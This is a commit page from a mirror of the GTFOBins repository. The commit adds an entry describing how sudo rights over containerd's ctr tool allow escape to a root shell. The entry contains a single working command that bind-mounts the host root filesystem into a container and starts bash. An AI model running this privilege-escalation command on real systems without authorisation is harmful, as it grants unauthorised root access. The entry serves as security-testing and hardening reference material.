mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
containerd (ctr) root shell
This commit is contained in:
parent
4baad5b113
commit
a9c993b8c8
8
_gtfobins/ctr
Normal file
8
_gtfobins/ctr
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: |
|
||||||
|
If ctr sudo permissions, you can use it to escape to a root shell. It is necessary to add an existing image.
|
||||||
|
- code: |
|
||||||
|
sudo /usr/bin/ctr run --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest bash
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user